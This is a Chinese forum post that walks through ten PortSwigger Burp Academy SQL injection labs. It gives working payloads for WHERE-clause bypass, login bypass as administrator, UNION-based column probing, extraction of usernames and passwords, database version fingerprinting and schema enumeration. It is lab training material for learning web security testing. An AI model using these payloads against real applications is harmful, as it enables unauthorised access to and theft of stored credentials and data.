Portswigger Burp学院:SQL注入攻击实战(第一部分)

图片[1]-Portswigger Burp学院:SQL注入攻击实战(第一部分)-山海云端论坛

1. SQL注入漏洞:WHERE子句绕过限制检索隐藏数据

题目描述:

在点击任意产品品类后,通过Hackbar LoadUrl获取参数category,可以观察到显示的产品数量很少,需要打破限制,将隐藏的产品也显示出来。

解决方案:

直接利用or 1=1来设置WHERE子句永远为True,从而绕过限制。在商品处使用Hackbar或抓包注入以下参数:

<code>?category=Gifts' or 1=1--</code>

这样就可以直接查询出隐藏数据,所有产品信息都会显示出来。

图片[2]-Portswigger Burp学院:SQL注入攻击实战(第一部分)-山海云端论坛

2. SQL注入漏洞:绕过登录验证,使用万能密码登录

题目描述:

通过点击”My account”,使用万能密码登录administrator账户,密码任意输入。

解决方案:

尝试截断SQL语句,进而跳过密码校验。可以使用以下参数进行注入:

<code>username=administrator'--</code>

或者:

<code>username=administrator' or '1'='1</code>

3. UNION攻击:确定查询返回的列数

题目描述:

在进行UNION攻击时,需要确定查询返回的列数。

解决方案:

通过抓包发送到Repeater,并尝试不同的列数,直到出现错误或返回正常。例如:

<code>?category=Pets' order by 3--</code>

如果页面返回正常,则列数为3。反之,继续尝试。

4. UNION攻击:查找包含指定文本的列

题目描述:

利用UNION攻击,在查询结果中找到包含指定文本的列。

解决方案:

使用UNION SELECT语句,并通过不同的注入参数尝试找到包含指定文本的列。例如:

<code>?category=Tech' union select null,'YjuMnv',null--</code>

通过尝试不同的列数和注入参数,最终找到包含指定文本的列。

5. UNION攻击:从其他表中检索数据

题目描述:

需要从其他表中检索数据。

解决方案:

利用UNION SELECT语句,结合信息模糊查询,尝试从其他表中检索数据。例如:

<code>?category=Gifts' union select username,password from users--</code>

通过逐步调整参数,最终获取到所需的数据。

6. UNION攻击:在单个列中检索多个值

题目描述:

需要在单个列中检索多个值。

解决方案:

尝试使用Group_concat()函数来在单个列中检索多个值。例如:

<code>?category=Accessories' union select null,concat(username,password) from users--</code>

通过不断调整参数,最终成功在单个列中检索到多个值。

7. SQL注入攻击:查询Oracle数据库类型和版本

题目描述:

需要查询Oracle数据库的类型和版本。

解决方案:

利用Oracle特有的表进行查询。例如:

<code>?category=Pets' union select null,banner from v$version--</code>

通过联合查询获取到数据库类型和版本信息。

8. SQL注入攻击:查询MySQL和MSSQL数据库类型和版本

题目描述:

需要查询MySQL和MSSQL数据库的类型和版本。

解决方案:

通过联合查询获取到数据库类型和版本信息。针对MySQL和MSSQL可以有不同的查询语句。例如:

<code>?category=fuck'+union+select+null,+@@version+#</code>

通过调整参数和查询语句,最终获取到数据库类型和版本信息。

9. SQL注入攻击:列出非Oracle数据库中的数据库内容

题目描述:

需要在非Oracle数据库中列出数据库内容。

解决方案:

通过UNION SELECT语句和信息模糊查询,逐步列出数据库内容。例如:

<code>?category=Pets'+union+select+table_name,null+from+information_schema.tables--</code>

通过调整参数和查询语句,最终列出了数据库内容。

10. SQL注入攻击:列出Oracle数据库中的数据库内容

题目描述:

需要在Oracle数据库中列出数据库内容。

解决方案:

利用Oracle特有的表进行查询。例如:

<code>?category=Gifts' union select table_name,null from all_tables--</code>

通过联合查询获取到Oracle数据库中的数据库内容。

© 版权声明
THE END
喜欢就支持一下吧
点赞14 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容